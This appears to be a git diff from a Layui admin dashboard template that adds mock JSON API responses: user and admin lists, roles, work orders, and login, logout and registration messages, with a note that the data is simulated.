,"experience": "86"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10006"
|
||||
,"username": "贤心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "12"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10007"
|
||||
,"username": "贤心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "16"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10008"
|
||||
,"username": "贤心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "106"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
|
||||
{"code":0,"msg":"","count":1000,"data":[{"id":10000,"username":"user-0","sex":"女","city":"城市-0","sign":"签名-0","experience":255,"logins":24,"wealth":82830700,"classify":"作家","score":57},{"id":10001,"username":"user-1","sex":"男","city":"城市-1","sign":"签名-1","experience":884,"logins":58,"wealth":64928690,"classify":"词人","score":27},{"id":10002,"username":"user-2","sex":"女","city":"城市-2","sign":"签名-2","experience":650,"logins":77,"wealth":6298078,"classify":"酱油","score":31},{"id":10003,"username":"user-3","sex":"女","city":"城市-3","sign":"签名-3","experience":362,"logins":157,"wealth":37117017,"classify":"诗人","score":68},{"id":10004,"username":"user-4","sex":"男","city":"城市-4","sign":"签名-4","experience":807,"logins":51,"wealth":76263262,"classify":"作家","score":6},{"id":10005,"username":"user-5","sex":"女","city":"城市-5","sign":"签名-5","experience":173,"logins":68,"wealth":60344147,"classify":"作家","score":87},{"id":10006,"username":"user-6","sex":"女","city":"城市-6","sign":"签名-6","experience":982,"logins":37,"wealth":57768166,"classify":"作家","score":34},{"id":10007,"username":"user-7","sex":"男","city":"城市-7","sign":"签名-7","experience":727,"logins":150,"wealth":82030578,"classify":"作家","score":28},{"id":10008,"username":"user-8","sex":"男","city":"城市-8","sign":"签名-8","experience":951,"logins":133,"wealth":16503371,"classify":"词人","score":14},{"id":10009,"username":"user-9","sex":"女","city":"城市-9","sign":"签名-9","experience":484,"logins":25,"wealth":86801934,"classify":"词人","score":75}]}
|
||||
@@ -0,0 +1,2 @@
|
||||
|
||||
{"code":0,"msg":"","count":1000,"data":[{"id":10000,"username":"user-0","sex":"女","city":"城市-0","sign":"签名-0","experience":255,"logins":24,"wealth":82830700,"classify":"作家","score":57},{"id":10001,"username":"user-1","sex":"男","city":"城市-1","sign":"签名-1","experience":884,"logins":58,"wealth":64928690,"classify":"词人","score":27},{"id":10002,"username":"user-2","sex":"女","city":"城市-2","sign":"签名-2","experience":650,"logins":77,"wealth":6298078,"classify":"酱油","score":31},{"id":10003,"username":"user-3","sex":"女","city":"城市-3","sign":"签名-3","experience":362,"logins":157,"wealth":37117017,"classify":"诗人","score":68},{"id":10004,"username":"user-4","sex":"男","city":"城市-4","sign":"签名-4","experience":807,"logins":51,"wealth":76263262,"classify":"作家","score":6},{"id":10005,"username":"user-5","sex":"女","city":"城市-5","sign":"签名-5","experience":173,"logins":68,"wealth":60344147,"classify":"作家","score":87},{"id":10006,"username":"user-6","sex":"女","city":"城市-6","sign":"签名-6","experience":982,"logins":37,"wealth":57768166,"classify":"作家","score":34},{"id":10007,"username":"user-7","sex":"男","city":"城市-7","sign":"签名-7","experience":727,"logins":150,"wealth":82030578,"classify":"作家","score":28},{"id":10008,"username":"user-8","sex":"男","city":"城市-8","sign":"签名-8","experience":951,"logins":133,"wealth":16503371,"classify":"词人","score":14},{"id":10009,"username":"user-9","sex":"女","city":"城市-9","sign":"签名-9","experience":484,"logins":25,"wealth":86801934,"classify":"词人","score":75},{"id":10010,"username":"user-10","sex":"女","city":"城市-10","sign":"签名-10","experience":1016,"logins":182,"wealth":71294671,"classify":"诗人","score":34},{"id":10011,"username":"user-11","sex":"女","city":"城市-11","sign":"签名-11","experience":492,"logins":107,"wealth":8062783,"classify":"诗人","score":6},{"id":10012,"username":"user-12","sex":"女","city":"城市-12","sign":"签名-12","experience":106,"logins":176,"wealth":42622704,"classify":"词人","score":54},{"id":10013,"username":"user-13","sex":"男","city":"城市-13","sign":"签名-13","experience":1047,"logins":94,"wealth":59508583,"classify":"诗人","score":63},{"id":10014,"username":"user-14","sex":"男","city":"城市-14","sign":"签名-14","experience":873,"logins":116,"wealth":72549912,"classify":"词人","score":8},{"id":10015,"username":"user-15","sex":"女","city":"城市-15","sign":"签名-15","experience":1068,"logins":27,"wealth":52737025,"classify":"作家","score":28},{"id":10016,"username":"user-16","sex":"女","city":"城市-16","sign":"签名-16","experience":862,"logins":168,"wealth":37069775,"classify":"酱油","score":86},{"id":10017,"username":"user-17","sex":"女","city":"城市-17","sign":"签名-17","experience":1060,"logins":187,"wealth":66099525,"classify":"作家","score":69},{"id":10018,"username":"user-18","sex":"女","city":"城市-18","sign":"签名-18","experience":866,"logins":88,"wealth":81722326,"classify":"词人","score":74},{"id":10019,"username":"user-19","sex":"女","city":"城市-19","sign":"签名-19","experience":682,"logins":106,"wealth":68647362,"classify":"词人","score":51},{"id":10020,"username":"user-20","sex":"男","city":"城市-20","sign":"签名-20","experience":770,"logins":24,"wealth":92420248,"classify":"诗人","score":87},{"id":10021,"username":"user-21","sex":"男","city":"城市-21","sign":"签名-21","experience":184,"logins":131,"wealth":71566045,"classify":"词人","score":99},{"id":10022,"username":"user-22","sex":"男","city":"城市-22","sign":"签名-22","experience":739,"logins":152,"wealth":60907929,"classify":"作家","score":18},{"id":10023,"username":"user-23","sex":"女","city":"城市-23","sign":"签名-23","experience":127,"logins":82,"wealth":14765943,"classify":"作家","score":30},{"id":10024,"username":"user-24","sex":"女","city":"城市-24","sign":"签名-24","experience":212,"logins":133,"wealth":59011052,"classify":"词人","score":76},{"id":10025,"username":"user-25","sex":"女","city":"城市-25","sign":"签名-25","experience":938,"logins":182,"wealth":91183097,"classify":"作家","score":69},{"id":10026,"username":"user-26","sex":"男","city":"城市-26","sign":"签名-26","experience":978,"logins":7,"wealth":48008413,"classify":"作家","score":65},{"id":10027,"username":"user-27","sex":"女","city":"城市-27","sign":"签名-27","experience":371,"logins":44,"wealth":64419691,"classify":"诗人","score":60},{"id":10028,"username":"user-28","sex":"女","city":"城市-28","sign":"签名-28","experience":977,"logins":21,"wealth":75935022,"classify":"作家","score":37},{"id":10029,"username":"user-29","sex":"男","city":"城市-29","sign":"签名-29","experience":647,"logins":107,"wealth":97450636,"classify":"酱油","score":27}]}
|
||||
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"code": 0,
|
||||
"msg": "",
|
||||
"data": {
|
||||
"src": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": "注册成功"
|
||||
,"data": {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": "登入成功"
|
||||
,"data": {
|
||||
"access_token": "c262e61cd13ad99fc650e6908c7e5e65b63d2f32185ecfed6b801ee3fbdd5c0a"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": "退出成功"
|
||||
,"data": null
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": "注册成功"
|
||||
,"data": {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": "注册成功"
|
||||
,"data": {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"data": {
|
||||
"username": "贤心"
|
||||
,"sex": "男"
|
||||
,"role": 1
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": "注册成功"
|
||||
,"data": {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"id": "1001"
|
||||
,"loginname": "admin"
|
||||
,"telphone": "11111111111"
|
||||
,"email": "111@qq.com"
|
||||
,"role": "超级管理员"
|
||||
,"jointime": "20150217"
|
||||
,"check": true
|
||||
},{
|
||||
"id": "1002"
|
||||
,"loginname": "common-1"
|
||||
,"telphone": "22222222222"
|
||||
,"email": "222@qq.com"
|
||||
,"role": "管理员"
|
||||
,"jointime": "20160217"
|
||||
,"check": false
|
||||
},{
|
||||
"id": "1003"
|
||||
,"loginname": "common-2"
|
||||
,"telphone": "33333333333"
|
||||
,"email": "333@qq.com"
|
||||
,"role": "管理员"
|
||||
,"jointime": "20161012"
|
||||
,"check": false
|
||||
},{
|
||||
"id": "1004"
|
||||
,"loginname": "common-3"
|
||||
,"telphone": "44444444444"
|
||||
,"email": "444@qq.com"
|
||||
,"role": "管理员"
|
||||
,"jointime": "20170518"
|
||||
,"check": true
|
||||
},{
|
||||
"id": "1005"
|
||||
,"loginname": "common-4"
|
||||
,"telphone": "55555555555"
|
||||
,"email": "555@qq.com"
|
||||
,"role": "管理员"
|
||||
,"jointime": "20180101"
|
||||
,"check": false
|
||||
},{
|
||||
"id": "1006"
|
||||
,"loginname": "common-5"
|
||||
,"telphone": "66666666666"
|
||||
,"email": "666@qq.com"
|
||||
,"role": "管理员"
|
||||
,"jointime": "20160217"
|
||||
,"check": false
|
||||
},{
|
||||
"id": "1007"
|
||||
,"loginname": "common-6"
|
||||
,"telphone": "77777777777"
|
||||
,"email": "777@qq.com"
|
||||
,"role": "管理员"
|
||||
,"jointime": "20161012"
|
||||
,"check": false
|
||||
},{
|
||||
"id": "1008"
|
||||
,"loginname": "common-7"
|
||||
,"telphone": "88888888888"
|
||||
,"email": "888@qq.com"
|
||||
,"role": "管理员"
|
||||
,"jointime": "20170518"
|
||||
,"check": true
|
||||
},{
|
||||
"id": "1009"
|
||||
,"loginname": "common-8"
|
||||
,"telphone": "99999999999"
|
||||
,"email": "999@qq.com"
|
||||
,"role": "管理员"
|
||||
,"jointime": "20180101"
|
||||
,"check": false
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"id": "1"
|
||||
,"rolename": "超级管理员"
|
||||
,"limits": "管理所有的管理员"
|
||||
,"descr": "拥有至高无上的权利"
|
||||
,"check": true
|
||||
},{
|
||||
"id": "2"
|
||||
,"rolename": "管理员"
|
||||
,"limits": "所有列表的管理"
|
||||
,"descr": "事情很多,权力很大"
|
||||
,"check": true
|
||||
},{
|
||||
"id": "3"
|
||||
,"rolename": "文章撰写员"
|
||||
,"limits": "负责文章的编写"
|
||||
,"descr": "文采第一的人才集合"
|
||||
,"check": false
|
||||
},{
|
||||
"id": "4"
|
||||
,"rolename": "纠错员"
|
||||
,"limits": "负责文章内容的修改"
|
||||
,"descr": "暂无"
|
||||
,"check": false
|
||||
},{
|
||||
"id": "5"
|
||||
,"rolename": "统计人员"
|
||||
,"limits": "对数据进行统计"
|
||||
,"descr": "暂无"
|
||||
,"check": false
|
||||
},{
|
||||
"id": "6"
|
||||
,"rolename": "评估员"
|
||||
,"limits": "对统计数据进行评估"
|
||||
,"descr": "及时捕捉市场发展动态"
|
||||
,"check": false
|
||||
},{
|
||||
"id": "7"
|
||||
,"rolename": "采购员"
|
||||
,"limits": "负责员工的伙食"
|
||||
,"descr": "暂无"
|
||||
,"check": false
|
||||
},{
|
||||
"id": "8"
|
||||
,"rolename": "推销员"
|
||||
,"limits": "介绍销售公司产品"
|
||||
,"descr": "暂无"
|
||||
,"check": false
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"id": "001"
|
||||
,"username": "用户-1"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"phone": 12345678901
|
||||
,"email": "11111@qq.com"
|
||||
,"sex": "男"
|
||||
,"ip": "1111111"
|
||||
,"jointime": 20171204
|
||||
},{
|
||||
"id": "002"
|
||||
,"username": "用户-2"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"phone": 12345678901
|
||||
,"email": "11111@qq.com"
|
||||
,"sex": "男"
|
||||
,"ip": "1111111"
|
||||
,"jointime": 20171204
|
||||
},{
|
||||
"id": "003"
|
||||
,"username": "用户-3"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"phone": 12345678901
|
||||
,"email": "11111@qq.com"
|
||||
,"sex": "女"
|
||||
,"ip": "1111111"
|
||||
,"jointime": 20171011
|
||||
,"LAY_CHECKED": true
|
||||
},{
|
||||
"id": "004"
|
||||
,"username": "用户-4"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"phone": 12345678901
|
||||
,"email": "11111@qq.com"
|
||||
,"sex": "男"
|
||||
,"ip": "1111111"
|
||||
,"jointime": 20160505
|
||||
},{
|
||||
"id": "005"
|
||||
,"username": "用户-5"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"phone": 12345678901
|
||||
,"email": "11111@qq.com"
|
||||
,"sex": "男"
|
||||
,"ip": "1111111"
|
||||
,"jointime": 20171204
|
||||
},{
|
||||
"id": "006"
|
||||
,"username": "用户-6"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"phone": 12345678901
|
||||
,"email": "11111@qq.com"
|
||||
,"sex": "男"
|
||||
,"ip": "1111111"
|
||||
,"jointime": 20171204
|
||||
},{
|
||||
"id": "007"
|
||||
,"username": "用户-7"
|
||||
,"avatar": "https://wx3.sinaimg.cn/mw690/5db11ff4gy1fmx4keca8ag208g06iglw.gif"
|
||||
,"phone": 12345678901
|
||||
,"email": "11111@qq.com"
|
||||
,"sex": "男"
|
||||
,"ip": "1111111"
|
||||
,"jointime": 20180210
|
||||
},{
|
||||
"id": "008"
|
||||
,"username": "用户-8"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"phone": 12345678901
|
||||
,"email": "11111@qq.com"
|
||||
,"sex": "女"
|
||||
,"ip": "1111111"
|
||||
,"jointime": 20171204
|
||||
},{
|
||||
"id": "009"
|
||||
,"username": "用户-9"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"phone": 12345678901
|
||||
,"email": "11111@qq.com"
|
||||
,"sex": "女"
|
||||
,"ip": "1111111"
|
||||
,"jointime": 20171204
|
||||
},{
|
||||
"id": "010"
|
||||
,"username": "用户-10"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"phone": 12345678901
|
||||
,"email": "11111@qq.com"
|
||||
,"sex": "男"
|
||||
,"ip": "1111111"
|
||||
,"jointime": 20170719
|
||||
},{
|
||||
"id": "011"
|
||||
,"username": "用户-11"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"phone": 12345678901
|
||||
,"email": "11111@qq.com"
|
||||
,"sex": "男"
|
||||
,"ip": "1111111"
|
||||
,"jointime": 20171204
|
||||
},{
|
||||
"id": "012"
|
||||
,"username": "用户-12"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"phone": 12345678901
|
||||
,"email": "11111@qq.com"
|
||||
,"sex": "女"
|
||||
,"ip": "1111111"
|
||||
,"jointime": 20171204
|
||||
},{
|
||||
"id": "013"
|
||||
,"username": "用户-13"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"phone": 12345678901
|
||||
,"email": "11111@qq.com"
|
||||
,"sex": "女"
|
||||
,"ip": "1111111"
|
||||
,"jointime": 20171204
|
||||
,"LAY_CHECKED": true
|
||||
},{
|
||||
"id": "014"
|
||||
,"username": "用户-14"
|
||||
,"avatar": "https://wx3.sinaimg.cn/mw690/5db11ff4gy1fmx4keca8ag208g06iglw.gif"
|
||||
,"phone": 12345678901
|
||||
,"email": "11111@qq.com"
|
||||
,"sex": "男"
|
||||
,"ip": "1111111"
|
||||
,"jointime": 20171204
|
||||
},{
|
||||
"id": "015"
|
||||
,"username": "用户-15"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"phone": 12345678901
|
||||
,"email": "11111@qq.com"
|
||||
,"sex": "男"
|
||||
,"ip": "1111111"
|
||||
,"jointime": 20171204
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"orderid": 111
|
||||
,"title": "移动支付踏入马来西亚,聚合支付紧随其后"
|
||||
,"attr": "公告"
|
||||
,"progress": "25%"
|
||||
,"submit": "贤心"
|
||||
,"accept": "员工-1"
|
||||
,"state": "处理中"
|
||||
},{
|
||||
"orderid": 222
|
||||
,"title": "凡科拖拽式免费建站神器,享双重优惠!"
|
||||
,"attr": "讨论"
|
||||
,"progress": "100%"
|
||||
,"submit": "猫吃"
|
||||
,"accept": "员工-1"
|
||||
,"state": "已处理"
|
||||
},{
|
||||
"orderid": 333
|
||||
,"title": "看着别人的老板给员工送汽车有感"
|
||||
,"attr": "分享"
|
||||
,"progress": "0%"
|
||||
,"submit": "纸飞机"
|
||||
,"accept": ""
|
||||
,"state": "未分配"
|
||||
},{
|
||||
"orderid": 444
|
||||
,"title": "DISCUZ的云平台应该彻底完了"
|
||||
,"attr": "提问"
|
||||
,"progress": "0%"
|
||||
,"submit": "纸飞机"
|
||||
,"accept": ""
|
||||
,"state": "未分配"
|
||||
},{
|
||||
"orderid": 555
|
||||
,"title": "现在个人网站还有必要长期坚持下去吗?"
|
||||
,"attr": "提问"
|
||||
,"progress": "50%"
|
||||
,"submit": "纸飞机"
|
||||
,"accept": "员工-2"
|
||||
,"state": "处理中"
|
||||
},{
|
||||
"orderid": 666
|
||||
,"title": "向北京公安局投诉了京东商城"
|
||||
,"attr": "公告"
|
||||
,"progress": "25%"
|
||||
,"submit": "纸飞机"
|
||||
,"accept": "员工-3"
|
||||
,"state": "处理中"
|
||||
},{
|
||||
"orderid": 777
|
||||
,"title": "游戏 网页美工,一个月多少工资才正常?"
|
||||
,"attr": "提问"
|
||||
,"progress": "100%"
|
||||
,"submit": "纸飞机"
|
||||
,"accept": "员工-1"
|
||||
,"state": "已处理"
|
||||
},{
|
||||
"orderid": 888
|
||||
,"title": "几年没来了,蓝色理想帖子这么少了啊"
|
||||
,"attr": "提问"
|
||||
,"progress": "0%"
|
||||
,"submit": "纸飞机"
|
||||
,"accept": ""
|
||||
,"state": "未分配"
|
||||
},{
|
||||
"orderid": 999
|
||||
,"title": "我的天,求推荐靠谱的学习网站"
|
||||
,"attr": "提问"
|
||||
,"progress": "50%"
|
||||
,"submit": "纸飞机"
|
||||
,"accept": "员工-2"
|
||||
,"state": "处理中"
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
|
||||
注意:这里是模拟的数据。
|
||||
实际应用时,请在模板文件(.html)中的 lay-url="" 和其它相关接口的 url 设置成你真实的接口地址
|
||||
File diff suppressed because one or more lines are too long
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user